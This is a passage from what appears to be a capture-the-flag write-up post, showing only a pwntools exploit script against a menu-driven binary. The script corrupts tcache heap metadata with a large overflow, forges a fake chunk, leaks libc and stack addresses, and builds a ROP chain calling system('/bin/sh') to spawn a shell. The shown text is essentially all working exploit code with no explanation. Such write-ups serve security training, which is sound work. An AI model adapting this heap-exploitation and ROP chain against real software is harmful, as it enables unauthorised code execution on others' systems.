payload = b"A"*0xe80
payload += p64(0x0) + p64(0x291)
payload += p16(0x0)*15
payload += p16(0x1)
payload += p16(0x0)*48
payload += p64(0x0)*15
payload += p64(0x404100)


p.sendlineafter(b"Action: ", b"7")
p.sendafter(b"reflection?\n", payload)
p.sendlineafter(b"Action: ", b"3")

# create fake tcache chunk to be freed
p.sendafter(b"> ", b"\x00"*0x8 + p64(0x111) + b"\x00"*0x18 + p64(0x4040e0) + b"\x00"*0x20 + p64(0x404110))
p.sendlineafter(b"Action: ", b"1")
p.recvuntil(b"Name: ")
leak = unpack(p.recvuntil(b" ", drop=True), "all") -2219328
libc.address = leak + 9664
log.info(f"leak @ {hex(leak)}")

p.sendlineafter(b"Action: ", b"4")
p.sendlineafter(b"> ", b"1")

p.sendlineafter(b"Action: ", b"3")
p.sendafter(b"> ", b"\x00"*0x18 + p64(leak))

p.sendlineafter(b"Action: ", b"1")
p.recvuntil(b"Name: ")
stack_leak = unpack(p.recvuntil(b" ", drop=True), "all")
log.info(f"stack leak @ {hex(stack_leak)}")

payload = b"A"*0xe80
payload += p64(0x0) + p64(0x291)
payload += p16(0x0)*15
payload += p16(0x1)
payload += p16(0x0)*48
payload += p64(0x0)*15
payload += p64(stack_leak-0x50)

rop = ROP(libc)
rop.call(rop.ret)
rop.system(next(libc.search(b"/bin/sh\x00")))

p.sendlineafter(b"Action: ", b"2")
p.sendlineafter(b"> ", str(2**31).encode()) # prepare for buffer overflow
p.sendlineafter(b"Action: ", b"7")
p.sendafter(b"reflection?\n", payload)
p.sendlineafter(b"Action: ", b"3")
p.sendlineafter(b"> ", b"A"*8 + rop.chain())

p.interactive()
This post is licensed under CC BY 4.0 by the author.

Trending Tags